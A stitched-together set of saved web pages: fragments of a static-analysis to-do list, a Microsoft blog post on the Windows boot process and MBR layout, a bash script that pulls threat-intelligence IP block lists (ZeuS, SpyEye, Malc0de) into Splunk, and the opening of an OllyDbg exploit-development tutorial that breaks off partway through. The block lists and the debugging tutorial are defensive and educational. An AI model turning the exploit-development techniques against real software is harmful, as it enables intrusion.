  * CWE457\_Use\_of\_Uninitialized\_Variable\_\_char\_pointer\_17\_bad\(\) 
    * False positive on goodG2B

# DONE

  * Plugin loader

# Resources & Similar Projects

  * https://github.com/cetfor/PaperMachete

Buffer Overflows: gets <\- always char buf\[123\]; std::cin>>buf

Measure

Measure

# Ntdebugging Blog : How Windows Starts Up \(part 1 of 4\)

**Created:**| _9/3/2009 10:02:07 AM_  
---|---  
**Updated:**| _9/3/2009 10:02:16 AM_  
**Author:**| __  
**Tags:**| _windows_  
  

## HOW WINDOWS STARTS UP \(PART 1 OF 4\)

Hi folks, my name is David and I’m an Escalation Engineer for Microsoft. Since
Bryan wrote about How Windows Shuts Down, I thought it would be a good idea to
cover How Windows Starts Up.

This information applies specifically to Windows 2000, Windows XP, and Windows
Server 2003. I will blog separately on the boot changes in Windows Vista.

Additional information about this topic may be found in Chapter 5 of Microsoft
Windows Internals by Russinovich and Solomon and also on TechNet:
http://technet.microsoft.com/en-us/library/bb457123.aspx

**Methodology**

The key to understanding and troubleshooting system startup issues is to
accurately ascertain the point of failure. To facilitate this determination, I
have divided the boot process into the following four phases.

1\. Initial

2\. Boot Loader

3\. Kernel

4\. Logon

Over the next few weeks, I’ll be describing each of these phases in detail and
providing appropriate guidance for troubleshooting relevant issues for each
phase.

**Initial Phase**

The Initial Phase of boot is divided into the Power-On Self Test \(POST\) and
Initial Disk Access.

**Power-On Self Test**

POST activities are fully implemented by the computer’s BIOS and vary by
manufacturer. Please refer to the technical documentation provided with your
hardware for details. However, regardless of manufacturer, certain generic
actions are performed to ensure stable voltage, check RAM, enable interrupts
for system usage, initialize the video adapter, scan for peripheral cards and
perform a memory test if necessary. Depending on manufacturer and
configuration, a single beep usually indicates a successful POST.

**Troubleshooting the POST**

ü Make sure you have the latest BIOS and firmware updates for the hardware
installed in the system.

ü Replace the CMOS battery if it has failed.

ü Investigate recently added hardware \(RAM, Video cards, SCSI adapters,
etc.\)

ü Remove recently added RAM modules.

ü Remove all adapter cards, then replace individually, ensuring they are
properly seated.

ü Move adapter cards to other slots on the motherboard.

ü If the computer still will not complete POST, contact your manufacturer.

**Initial Disk Access**

Depending on the boot device order specified in your computer’s BIOS, your
computer may attempt to boot from a CD-ROM, Network card, Floppy disk, USB
device or a hard disk. For the purposes of this document, we’ll assume that
we’re booting to a hard disk since that is the most common scenario.

Before we discuss the sequence of events that occur during this phase of
startup, we need to understand a little bit about the layout of the boot disk.
The structure of the hard disk can be visualized this way: \(Obviously, these
data areas are not to scale\)

<img src='img/Temp2_5638.gif' width='495' height='580' />

Hard disks are divided into Cylinders, Heads and Sectors. A sector is the
smallest physical storage unit on a disk and is almost always 512 bytes in
size. For more information about the physical structure of a hard disk, please
refer to the following Resource Kit chapter:
http://www.microsoft.com/resources/documentation/windowsnt/4/server/reskit/en-
us/resguide/diskover.mspx

There are two disk sectors critical to starting the computer that we’ll be
discussing in detail:

· Master Boot Record \(MBR\)

· Boot Sector

The MBR is always located at Sector 1 of Cylinder 0, Head 0 of each physical
disk. The Boot Sector resides at Sector 1 of each partition. These sectors
contain both executable code and the data required to run the code.

Please note that there is some ambiguity involved in sector numbering.
Cylinder/Head/Sector \(CHS\) notation begins numbering at C0/H0/S1. However,
Absolute Sector numbering begins numbering at zero. Absolute Sector numbering
is often used in disk editing utilities such as DskProbe. These differences
are discussed in the following knowledge base article:

Q97819 Ambiguous References to Sector One and Sector Zero

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q97819

Now that we have that straight, when does this information get written to
disk? The MBR is created when the disk is partitioned. The Boot Sector is
created when you format a volume. The MBR contains a small amount of
executable code called the Master Boot Code, the Disk Signature and the
partition table for the disk. At the end of the MBR is a 2-byte structure
called a Signature Word or End of Sector marker, which should always be set to
0x55AA. A Signature Word also marks the end of an Extended Boot Record \(EBR\)
and the Boot Sector.

The Disk Signature, a unique number at offset 0x1B8, identifies the disk to
the operating system. Windows 2000 and higher operating systems use the disk
signature as an index to store and retrieve information about the disk in the
registry subkey HKLM\System\MountedDevices.

The Partition Table is a 64-byte data structure within the MBR used to
identify the type and location of partitions on a hard disk. Each partition
table entry is 16 bytes long \(four entries max\). Each entry starts at a
predetermined offset from the beginning of the sector as follows:

Partition 1 0x1BE \(446\)

Partition 2 0x1CE \(462\)

Partition 3 0x1DE \(478\)

Partition 4 0x1EE \(494\)

The following is a partial example of a sample MBR showing three partition
table entries in-use and one empty:

000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00 00 00

000001D0: 81 0A 07 FE FF FF 8A F5 – 7F 00 3D 26 9C 00 00 00

000001E0: C1 FF 05 FE FF FF C7 1B – 1C 01 D6 96 92 00 00 00

000001F0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00

Let’s take a look at each of the fields of a partition table entry
individually. For each of these explanations, I’ll use the first partition
table entry above and highlight the relevant section. Keep in mind that these
values are little-endian.

****

**Byte Offset**| **Field Length**| **Sample Value**| **Field Description**  
---|---|---|---  
0x1BE| 8 Bits| 0x80| **Boot Indicator** 00=Do Not Use for Booting 80=Active
partition \(Use for Booting\)  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1BF| 8 Bits| 0x01| **Starting Head**  
---|---|---|---  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1C00x1C1| 2 ByteWord| 0x01| **Starting Sector** Only the first 6 bits are
used. The upper 2 bits of this byte are used by the Starting Cylinder field.  
---|---|---|---  
0x00| **Starting Cylinder** Uses 1 byte + 2 bits from the Starting Sector
field to make up the cylinder value. The Starting Cylinder is a 10-bit number
with a maximum value of 1023.  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1C2| 8 Bits| 0x07| **System ID** Defines the volume type. 0x07=NTFS  
---|---|---|---  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

**Other Possible System ID Values: **

**Partition Type**| **ID Value**  
---|---  
0x01| FAT12 primary partition or logical drive \(fewer than 32,680 sectors in
the volume\)  
0x04| FAT16 partition or logical drive \(32,680–65,535 sectors or 16 MB–33
MB\)  
0x05| Extended partition  
0x06| BIGDOS FAT16 partition or logical drive \(33 MB–4 GB\)  
0x07| Installable File System \(NTFS partition or logical drive\)  
0x0B| FAT32 partition or logical drive  
0x0C| FAT32 partition or logical drive using BIOS INT 13h extensions  
0x0E| BIGDOS FAT16 partition or logical drive using BIOS INT 13h extensions  
0x0F| Extended partition using BIOS INT 13h extensions  
0x12| EISA partition  
0x42| Dynamic disk volume  
0x86| Legacy FT FAT16 disk \*  
0x87| Legacy FT NTFS disk \*  
0x8B| Legacy FT volume formatted with FAT32 \*  
0x8C| Legacy FT volume using BIOS INT 13h extensions formatted with FAT32 \*  
Partition types denoted with an asterisk \(\*\) indicate that they are also
used to designate non-FT configurations such as striped and spanned volumes.

0x1C3| 8 Bits| 0xFE| **Ending Head **\(0xFE=254 decimal\)  
---|---|---|---  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1C40x1C5| 2 ByteWord| 0xBF| **Ending Sector** As with the Starting Sector,
it only uses the first 6 bits of the byte. The upper 2 bits are used by the
Ending Cylinder field.  
---|---|---|---  
0x09| **Ending Cylinder** Uses 1 byte in addition to the upper 2 bits from the
Ending Sector field to make up the cylinder value. The Ending Cylinder is a
10-bit number with a maximum value of 1023.  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1C6| 32 Bits| 0x3F000000| **Relative Sectors** The offset from the beginning
of the disk to the beginning of the volume, counting by sectors.0x0000003F =
63  
---|---|---|---  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

0x1CA| 32 Bits| 0X4BF57F00| **Total Sectors** The total number of sectors in
the volume.0x007FF54B = 8,385,867 Sectors = 4GB  
---|---|---|---  
000001B0: 80 01

000001C0: 01 00 07 FE BF 09 3F 00 - 00 00 4B F5 7F 00

Are you with me so far? Good\! Now, Cylinder/Sector encoding can be a bit
tricky, so let’s take a closer look.

**Cylinder - Sector Encoding**  
---  
16| 15| 14| 13| 12| 11| 10| 9| 8| 7| 6| 5| 4| 3| 2| 1  
Cylinder bits 1-8| Cyl bits9 & 10| Sector valueBits 1-6  
As you can see, the Sector value occupies the lower 6 bits of the word and the
Cylinder occupies the upper 10 bits of the word. In our example, the starting
values for Cylinder and Sector are 01 00. Values in the MBR use reverse-byte
ordering, which is also referred to as ‘little-endian’ notation. Therefore, we
swap the bytes and find that our starting values are Cyl 0, Sec 1.

Our ending values are more interesting: BF 09. First, we swap the bytes and
obtain a hex value of 0x09BF. This value in binary notation is 100110111111.
The following table illustrates how we derive the correct partition table
values from these bytes:

**Example: BF 09**  
---  
**8**| **7**| **6**| **5**| **4**| **3**| **2**| **1**| **10**| **9**| **6**|
**5**| **4**| **3**| **2**| **1**  
0| 0| 0| 0| 1| 0| 0| 1| 1| 0| 1| 1| 1| 1| 1| 1  
10 Cylinder value bits 1-8| Cyl bits9 & 10| Sector valuebits 1-6  
The 6 low bits are all set to 1, therefore our Sector value is 111111 or 63.
You can see above how the bits are arranged for the Cylinder value. The value
above is 1000001001 \(521\). Since both Cylinder and Head values begin
numbering at zero, we have a total of 522 Cylinders and 255 Heads represented
here. This gives us an ending CHS value of: 522 x 255 x 63 = 8,385,930
sectors.

Subtracting the starting CHS address \(Cylinder 0, Head 1, Sector 1\) \(63\)
gives us the total size of this partition: 8,385,867 sectors or 4GB. We can
verify this number by comparing it to the Total Sectors represented in the
partition table: 4B F5 7F 00. Applying reverse-byte ordering gives us 00 7F F5
4B which equals 8,385,867 sectors.

So, now that we have an understanding of what is contained within the
structures on the disk, let’s look at the sequence of events that occur.
Remember, this is just after POST has successfully completed.

1. The motherboard ROM BIOS attempts to access the first boot device specified in the BIOS. \(This is typically user configurable and can be edited using the BIOS configuration utility.\)
2. The ROM BIOS reads Cylinder 0, Head 0, and Sector 1 of the first boot device.
3. The ROM BIOS loads that sector into memory and tests it.
a. For a floppy drive, the first sector is a FAT Boot Sector.

b. For a hard drive, the first sector is the Master Boot Record \(MBR\).

4. When booting to the hard drive, the ROM BIOS looks at the last two signature bytes of Sector 1 and verifies they are equal to 55AA.
a. If the signature bytes do not equal 55AA the system assumes that the MBR is
corrupt or the hard drive has never been partitioned. This invokes BIOS
Interrupt 18, which displays an error that is BIOS-vendor specific such as
**“Operating System not found”**.

b. If the BIOS finds that the last two bytes are 55AA, the MBR program
executes.

5. The MBR searches the partition table for a boot indicator byte 0x80 indicating an active partition.
a. If no active partition is found, BIOS Interrupt 18 is invoked and a BIOS
error is displayed such as **“Operating System not found”**.

b. If any boot indicator in the MBR has a value other than 0x80 or 0x00, or if
more than one boot indicator indicates an active partition \(0x80\), the
system stops and displays **“Invalid partition table** ”.

c. If an active partition is found, that partition’s Boot Sector is loaded and
tested.

6. The MBR loads the active partition’s Boot Sector and tests it for 55AA.
a. If the Boot Sector cannot be read after five retries, the system halts and
displays “**Error loading operating system** ”.

b. If the Boot Sector can be read but is missing its 55AA marker, “**Missing
operating system** ” is displayed and the system halts.

c. The bootstrap area is made up of a total of 16 sectors \(0-15\). If sector
0 for the bootstrap code is valid, but there is corruption in sectors 1-15,
you may get a black screen with no error. In this case, it may be possible to
transplant sectors 1-15 \(not Sector 0\) from another NTFS partition using
DskProbe.

d. If the Boot Sector is loaded and it passes the 55AA test, the MBR passes
control over to the active partition’s Boot Sector.

7. The active partition’s Boot Sector begins executing and looks for NTLDR. The contents of the Boot Sector are entirely dependent on the format of the partition. For example, if the boot partition is a FAT partition, Windows writes code to the Boot Sector that understands the FAT file system. However, if the partition is NTFS, Windows writes NTFS-capable code. The role of the Boot Sector code is to give Windows just enough information about the structure and format of a logical drive to enable it to read the NTLDR file from the root directory. The errors at this point of the boot process are file system specific. The following are possible errors with FAT and NTFS Boot Sectors.
a. **FAT:** In all cases it displays “press any key to restart” after either
of the following errors.

\(1\) If NTLDR is not found “**NTLDR is missing** ” is displayed

\(2\) If NTLDR is on a bad sector, “**Disk Error** ” displays.

b. **NTFS: ** In all cases it displays “Press CTRL+ALT+DEL to restart” after
any of the following errors.

\(1\) If NTLDR is on a bad sector, “**A disk read error occurred** ” is
displayed. This message may also be displayed on Windows 2000 or higher
systems if Extended Int13 calls are required, but have been disabled in the
CMOS or SCSI BIOS. This behavior may also be seen if an FRS \(File Record
Segment\) cannot be loaded or if any NTFS Metadata information is corrupt.

\(2\) If NTLDR is not found, “**NTLDR is missing** ” displays.

\(3\) If NTLDR is compressed, “**NTLDR is compressed** ” displays.

8. Once NTLDR is found, it is loaded into memory and executed. At this point the Boot Loader phase begins.
**Troubleshooting the Initial Phase \(Initial Disk Access\)**

If you are unable to boot Windows and the failure is occurring very early in
the boot process, begin by creating a Windows boot floppy and using it to
attempt to boot the system.

Q119467 How to Create a Bootable Disk for an NTFS or FAT Partition

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q119467

If you are unable to boot to Windows NT with a floppy, skip to the section
titled **“Unable to boot using floppy”**.

If you can successfully start the computer from the boot disk, the problem is
limited to the **Master Boot Record** , the** Boot Sector**, or one or more of
the following files: NTLDR, NTDetect.com, or Boot.ini. After Windows is
running, you should **immediately** back up all data before you attempt to fix
the Boot Sector or Master Boot Record.

**1. ****Run a current virus scanning program to verify that no virus is
present.**

**2. ****Select the method of troubleshooting based upon the error
generated.**

· **Operating System not found**

Typical BIOS-specific error indicating no 55AA signature on the MBR. This must
be repaired manually using a disk editor such as DskProbe.

**_Warning:_**_ Running FixMBR or FDISK /MBR in this case will clear the
partition table._

· **Invalid Partition Table**

May be repaired using DiskProbe – check for multiple 0x80 boot indicators.

· **Error Loading Operating System**

This error indicates an invalid Boot Sector. Use the “Repairing the Boot
Sector” section below.

· **Missing Operating System**

This error indicates that the 55AA signature is missing from the Boot Sector.
This may be replaced using DskProbe or by using the “Repairing the Boot
Sector” section below.

· **NTLDR is missing**

Use the “Repairing the NTLDR file” section below.

· **Disk error \(FAT only\)**

Indicates that NTLDR is located on a bad sector.

· **A disk read error occurred \(NTFS only\)**

Indicates that NTLDR is on a bad sector. Use the “Repairing the NTLDR file”
section below.

· **NTLDR is compressed**

Indicates that NTLDR is compressed. Uncompress or replace NTLDR. Note: This
error is rare.

· **Computer boots to a black screen with blinking cursor**

Could be an issue with the MBR or the active partition’s boot code
\(**Q228734**\). Use the appropriate section below.

****

**Repairing the MBR**

Use the FIXMBR command from the Windows Recovery Console to re-write the boot
code located in the first 446 bytes of the MBR, but to leave the partition
table intact.

326215 How To Use the Recovery Console on a Windows Server 2003-Based Computer
That Does Not Start

http://support.microsoft.com/default.aspx?scid=kb;EN-US;326215

** __**

**_WARNING:_**_ DO NOT use this method if you are receiving **“Operating
System not found”** or other BIOS-specific error. _FIXMBR _ will zero out the
partition table if the 55AA signature is missing from the MBR. The data will
be unrecoverable._

****

**Repairing the Boot Sector**

Use the FIXBOOT command from the Windows Recovery Console to write a new Boot
Sector to the system partition.

326215 How To Use the Recovery Console on a Windows Server 2003-Based Computer
That Does Not Start

http://support.microsoft.com/default.aspx?scid=kb;EN-US;326215

If you are not able to repair the Boot Sector by using this method, you may
repair it manually using the following knowledge base article:

Q153973 Recovering NTFS Boot Sector on NTFS Partitions

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q153973

****

**Repairing the NTLDR file**

Use the Recovery Console to copy NTLDR from \i386 directory of the Windows CD-
ROM to the root of the hard drive.

****

**Unable to boot using floppy**

If you are unable to start the computer with a boot floppy and you are not
receiving an error message, then the problem is most likely with your
partition tables. If invalid partitions are present and you are unable to
start your computer with a boot disk, formatting the disk, reinstalling
Windows and restoring from backup may be your only option. It may be possible
to recreate the partition table using DskProbe if a backup of the partition
information is available. It also may be possible to manually reconstruct the
partition table however this is outside the scope of this blog post. We may
cover this later.

If you do not have a current backup of the data on the computer, as a last
resort a data recovery service may be able to recover some of your
information.

**Helpful knowledge base articles:**

Q272395 Error Message: Boot Record Signature AA55 Not Found

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q272395

Q155892 Windows NT Boot Problem: Kernel File Is Missing From the Disk

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q155892

Q228004 Changing Active Partition Can Make Your System Unbootable

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q228004

Q155053 Black Screen on Boot

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q155053

Q314503 Computer Hangs with a Black Screen When You Start Windows

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q314503

Q153973 Recovering NTFS Boot Sector on NTFS Partitions

http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q153973

Okay boys & girls, that’s it for now. Next time, I’ll continue with the boot
sequence and cover the Boot Loader phase. This is where things really get
interesting… J

  
  

  
  

Filed under: Hangs, startup, boot, David

# Splunk and Free Open-Source Threat Intelligence Feeds - Deep Impact

**Created:**| _10/3/2013 7:53:20 PM_  
---|---  
**Updated:**| _10/3/2013 7:53:20 PM_  
**Author:**| __  
**Tags:**| _risk-management security metrics_  
  

# Splunk and Free Open-Source Threat Intelligence Feeds****

**This is a write-up for integrating some readily available free and open-
source threat intelligence feeds and block lists intoSplunk ********.******
The following threat feeds/block lists can be used for many other use
cases/applications which I have included below for convenience:  
  
Emerging Threats  
AlienVault  
ZeuS Tracker  
Palevo Tracker  
SpyEye Tracker Malc0de

After my initial idea to integrate some threat feeds into Splunk, I began to
do some research and luckily ran into someone that was thinking along the same
lines I was**.** His name is Keith and his blog can be found here **.** I used
Keith's experience as a starting point to create a small bash script which
grabs the threat feeds/block lists and parses them in order to prepare some
Splunk-ready input files**.**  
  
I am by no means an expert nor do I possess much programming experience which
was the greatest motivation to continue using bash**.** This video  by Lee
Baird at Hack3rcon 3 on Adrian's website Irongeek  was very helpful**.** Lee
also has some BackTrack and Kali Linux scripts which automate various tasks
with bash scripts here  with a related SkyDogCon 2 video here  if you are
interested**.**  
  
I have included my script below and I welcome any input or suggestions for
improving it**.** Feel free to modify it for your particular use case or
application as needed**.** You can also download it from here .  
  
I like to place the scripts I use for Splunk in the directory:  
  
/opt/splunk/bin/scripts

[code]

    #**!** /bin/bash
    #Script that downloads the Emerging Threats - Compromised IP List, RBN IP List, RBN Malvertisers IP 
    #List;  AlienVault - IP Reputation Database; ZeuS Tracker - IP Block List; SpyEye Tracker - IP Block 
    #List; Palevo Tracker - IP Block List; Malc0de Black List and then strips junk/formatting that can't 
    #be used and creates Splunk-ready inputs**.**
    #Feel free to use and modify as needed
    #Author: Adrian Daucourt based on work from Keith (http://sysadminnygoodness.blogspot.com)
    #
    #
    #
    #Emerging Threats - Shadowserver IP Block List and RBN IP List
    wget http://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt -O /tmp/emerging-Block-IPs.txt 
    --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/emerging_threats_shadowserver_ips.txt
    
    cat /tmp/emerging-Block-IPs.txt | sed -e '1,/# \Shadowserver C&C List/d' -e '/#/,$d' | sed -n 
    '/^[0-9]/p' | sed 's/$/ # \Shadowserver IP/' >> 
    /home/ubuntu/downloads/emerging_threats_shadowserver_ips.txt
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/emerging_threats_rbn_ips.txt
    
    cat /tmp/emerging-Block-IPs.txt | sed -e '1,/#\Known RBN Nets and IPs/d' -e '/#/,$d' | sed -n 
    '/^[0-9]/p' | sed 's/$/ # \RBN IP/' | sed -n '/\//**!** p'>> 
    /home/ubuntu/downloads/emerging_threats_rbn_ips.txt
    
    rm /tmp/emerging-Block-IPs.txt
    
    
    #Emerging Threats - Compromised IP List
    wget http://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /tmp/compromised-ips.txt 
    --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/emerging_threats_compromised_ips.txt
    
    cat /tmp/compromised-ips.txt | sed -n '/^[0-9]/p' | sed 's/$/ # \Compromised IP/' >> 
    /home/ubuntu/downloads/emerging_threats_compromised_ips.txt
    
    rm /tmp/compromised-ips.txt
    
    
    #Emerging Threats - RBN Malvertisers IP List
    wget http://rules.emergingthreats.net/blockrules/rbn-malvertisers-ips.txt -O 
    /tmp/rbn-malvertisers-ips.txt --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/emerging_threats_rbn_malvertisers_ips.txt
    
    cat /tmp/rbn-malvertisers-ips.txt | sed -n '/^[0-9]/p' | sed 's/$/ # \RBN Malvertisers /' >> 
    /home/ubuntu/downloads/emerging_threats_rbn_malvertisers_ips.txt
    
    rm /tmp/rbn-malvertisers-ips.txt
    
    
    #AlienVault - IP Reputation Database
    wget https://reputation.alienvault.com/reputation.snort**.** gz -P /tmp --no-check-certificate -N
    
    gzip -d /tmp/reputation.snort**.** gz
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/av_ip_rep_list.txt
    
    cat /tmp/reputation.snort | sed -n '/^[0-9]/p' >> /home/ubuntu/downloads/av_ip_rep_list.txt
    
    rm /tmp/reputation.snort
    
    
    #ZeuS Tracker - IP Block List
    wget https://zeustracker.abuse**.** ch/blocklist.php?download=ipblocklist -O /tmp/zeustracker.txt 
    --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/zeus_ip_block_list.txt
    
    cat /tmp/zeustracker.txt | sed -n '/^[0-9]/p' | sed 's/$/ # \Zeus IP/' >> 
    /home/ubuntu/downloads/zeus_ip_block_list.txt
    
    rm /tmp/zeustracker.txt
    
    
    #SpyEye Tracker - IP Block List
    wget https://spyeyetracker.abuse**.** ch/blocklist.php?download=ipblocklist -O /tmp/spyeyetracker.txt 
    --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/spyeye_ip_block_list.txt
    
    cat /tmp/spyeyetracker.txt | sed -n '/^[0-9]/p' | sed 's/$/ # \Spyeye IP/' >> 
    /home/ubuntu/downloads/spyeye_ip_block_list.txt
    
    rm /tmp/spyeyetracker.txt
    
    
    #Palevo Tracker - IP Block List
    wget https://palevotracker.abuse**.** ch/blocklists.php?download=ipblocklist -O /tmp/palevotracker.txt 
    --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/palevo_ip_block_list.txt
    
    cat /tmp/palevotracker.txt | sed -n '/^[0-9]/p' | sed 's/$/ # \Palevo IP/' >> 
    /home/ubuntu/downloads/palevo_ip_block_list.txt
    
    rm /tmp/palevotracker.txt
    
    
    #Malc0de - Malc0de Black List
    wget http://malc0de.com/bl/IP_Blacklist.txt -O /tmp/IP_Blacklist.txt --no-check-certificate -N
    
    echo "# Generated: `date`" > /home/ubuntu/downloads/malc0de_black_list.txt
    
    cat /tmp/IP_Blacklist.txt | sed -n '/^[0-9]/p' | sed 's/$/ #\Malc0de IP/' >> 
    /home/ubuntu/downloads/malc0de_black_list.txt
    
    rm /tmp/IP_Blacklist.txt
    
[/code]

In Splunk we started by creating an index that I named "threat"**.** If you
are not familiar with creating Splunk indexes more information can be found
here **.**

I then proceeded to create a Splunk scripted input to run the script every two
hours or 7200 seconds and set the destination index for this source to
"threat", and I also set the sourcetype to "threat" as well**.** Keep in mind
some of these threat feeds or block lists are updated every time you query the
list, some every few hours, and some are updated daily or possibly even
longer**.** More information on Splunk scripted inputs can be found here  and
here **.**

You would then be required to tell Splunk to continuously collect data from
the files which will be created using our script and index the data as it
comes in**.** Information for File and Directory inputs can be found here
**.** Remember you would have to do this for all the files created by the
script:  
  
/home/ubuntu/downloads/av\_ip\_rep\_list.txt  
/home/ubuntu/downloads/emerging\_threats\_compromised\_ips.txt  
/home/ubuntu/downloads/emerging\_threats\_rbn\_ips.txt  
/home/ubuntu/downloads/emerging\_threats\_rbn\_malvertisers\_ips.txt  
/home/ubuntu/downloads/emerging\_threats\_shadowserver\_ips.txt  
/home/ubuntu/downloads/palevo\_ip\_block\_list.txt  
/home/ubuntu/downloads/spyeye\_ip\_block\_list.txt  
/home/ubuntu/downloads/zeus\_ip\_block\_list.txt  
/home/ubuntu/downloads/malc0de\_black\_list.txt

After you complete the configuration above you should begin to see data in the
Splunk Summary Dashboard when the script runs and begins to create the input
files**.**

<img src='img/Temp2_7675.png' />

I also use Splunk to gather Intrusion Prevention and Detection System
\(IPS/IDS\) logs**.** This is where the really cool part starts. I can now use
this new threat feed information and begin to correlate attacks on my IPS/IDS
with known threat sources**.** I can use some readily available free apps for
Splunk like the Google Maps for Splunk  app and start plotting geolocation
information from attacking IPs on a map using the sample search below:  
  
your search here | join type=inner max=0 src \[search index=threat sourcetype="threat"\] | stats count as \_geo\_count by src | geoip src | search \_geo=\* | stats sum\(\_geo\_count\) as \_geo\_count by \_geo  
  
You can then get some really cool map visualizations like this:

You can start answering all kinds of questions about your infrastructure using
this simple method:

  * What countries/cities are accessing my web server or a specific directory on that server the most**?**
  * What country/city has the most dropped traffic on my firewall or IPS**?**
  * What country/city is bruteforcing SSH on my Wordpress site**?**
  * What country/city is attempting SQL injection \(SQLi\) on my web app**?**

You can create some dashboard panels like the one below that answers questions
like:

  * What are the top 20 known threat source IPs and their threat type and how many occurences were there in the last 30 days**?**

You are only limited by your creativity**\!** If you have any questions,
improvements, or ideas please feel free to comment**.**  
  
I would like to thank @EmergingThreats , @abuse\_ch , @alienvault ,
@Shadowserver , @malc0de  and all the volunteers who provide us with these
great feeds and of course @splunk  for making it all possible**.**

**Happy Splunking\!**

Comments

****

# OllyDbg Tricks for Exploit Development | InfoSec Resources
**Created:**| _5/2/2011 7:33:25 PM_  
---|---  
**Updated:**| _6/16/2011 12:09:33 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging Exploit Tutorials programming awesome_  
  

  * ### About The Author
    * <img src='img/Temp2_5746.jpg' width='64' height='64' />Stephen Bradshaw
    * Stephen Bradshaw is security researcher for InfoSec Institute and an IT Security Specialist in Australia, with a focus on the areas of penetration testing and incident detection and response. His blog is located at http://grey-corner.blogspot.com
  * ### Other Articles by Bradshaw Stephen
    * SEH Based Overflow Exploit Tutorial
    * Stack Based Buffer Overflow Tutorial, part 3 — Adding shellcode
    * Stack Based Buffer Overflow Tutorial, part 2 — Exploiting the stack overflow
    * Stack Based Buffer Overflow Tutorial, part 1 — Introduction
    * Debugging Fundamentals for Exploit Development
    * Fuzzer Automation with SPIKE
    * An Introduction to Fuzzing: Using fuzzers \(SPIKE\) to find vulnerabilities
  * ### Recent Comments
    * Art on The CISA Domains – An Overview
    * JC on An Introduction to Fuzzing: Using fuzzers \(SPIKE\) to find vulnerabilities
    * phocean on OllyDbg Tricks for Exploit Development
    * Ronaldo on TDSS part 1: The x64 Dollar Question
    * Juan M. on iPhone App Exposes Pontentially Anyone’s Social Security Number.
  * ### Recent Posts
    * Imperva’s Amichai Shulman Discusses the Boy in the Browser Attack
    * CISSP – Reading is Required
    * Flesh Tone Analysis – Intermediate Computer Forensics
    * SQL Injection – Another hacking how-to
    * An introduction to Bash Scripting for automating some nmap recon
  * ### Recent Tweets
    * Since the video already posted, we may as well post the article that goes with it. http://resources.infosecinstitute.com/dll-hijacking/ \- 3 days ago
    * I uploaded a @YouTube video http://youtu.be/2l\_U4pvaFRg?a DLL Hijacking - Hacking Attack Tutorial - 4 days ago
    * This week's interview is with @dakami http://resources.infosecinstitute.com/dan-kaminsky/ His suggestion for disclosure: Don't be a Dick. - 5 days ago
    * A bug in Chinese video streaming software leads to mass open proxies on the web. http://resources.infosecinstitute.com/tcp-port-9415/ \- 5 days ago

## OllyDbg Tricks for Exploit Development

February 28th, 2011|By: Bradshaw Stephen|Topics: |11 Comments

This is the second article in a series about using the OllyDbg, a 32 bit
assembler level analyzing user mode debugger for Windows.

In part one of this tutorial we covered:

  * Starting the Debugger
  * Opening and Attaching to the debugging target application
  * The OllyDbg CPU view
  * The 20 second guide to X86 Assembly language for exploit writers

In this article we will cover the following subjects:

  * Methods for directing code execution in the debugger
  * The SEH chain
  * Searching for commands
  * Searching through memory
  * Working in the memory dump
  * Editing code, memory and registers
  * Help in calculating relative address differences
  * Plugins

**Methods for directing code execution in the debugger  
**

When you are writing an exploit you are going to need to be able to execute
the code in your target application in a variety of different ways, to give
you the appropriate amount of control to monitor the code and memory closely
when needed. You may want to run normally at one point, to go step by step
through each individual instruction at another, and sometimes to have it run
quickly to a particular point allowing you to take control once that point is
reached.

Luckily, this is all possible via the use of a debugger by using breakpoints
as well as the various methods for stepping through code.

This section has been broken up into the following subsections:

  * Step in, Step over
  * Where did I come from? Exposing your history
  * Animation
  * Setting breakpoints
  * Running the code
  * Exception-al debugging
  * Run tracing to find the cause of an exception

** _Step in, Step over  
_**

Let’s start by learning how to step through code. If you haven’t already,
start up OllyDbg and open vulnserver.exe. Execution should automatically pause
at the program entry point. In the top left hand pane of the CPU view you
should see the instruction “PUSH EBP” highlighted.

<img src='img/Temp2_5788.jpg' />

Take note of the top entry on the stack \(bottom right hand pane\) as well as
the value of the ESP and EBP registers in the top right hand pane, then try
hitting the **F8** key, just once. The F8 key is a shortcut key for the “Step
over” operation, which allows you to advance forward one instruction, while
NOT following any function calls.

The significance of that will become clear in a moment, but for now, you
should have noticed that since executing that PUSH EBP instruction, the value
held by EBP has been added to the top of the stack and the value of the ESP
register has decreased by four. In addition, the instruction following “PUSH
EBP” in the top left hand pane, namely “MOV EBP, ESP”, should now be
highlighted, and two registers, ESP and EIP have their values highlighted in
red to indicate that they have changed.

<img src='img/Temp2_5752.jpg' />

Take note of the values of the EBP and ESP registers, and hit **F8** once
more. The EBP register will change to match that of the ESP register, and the
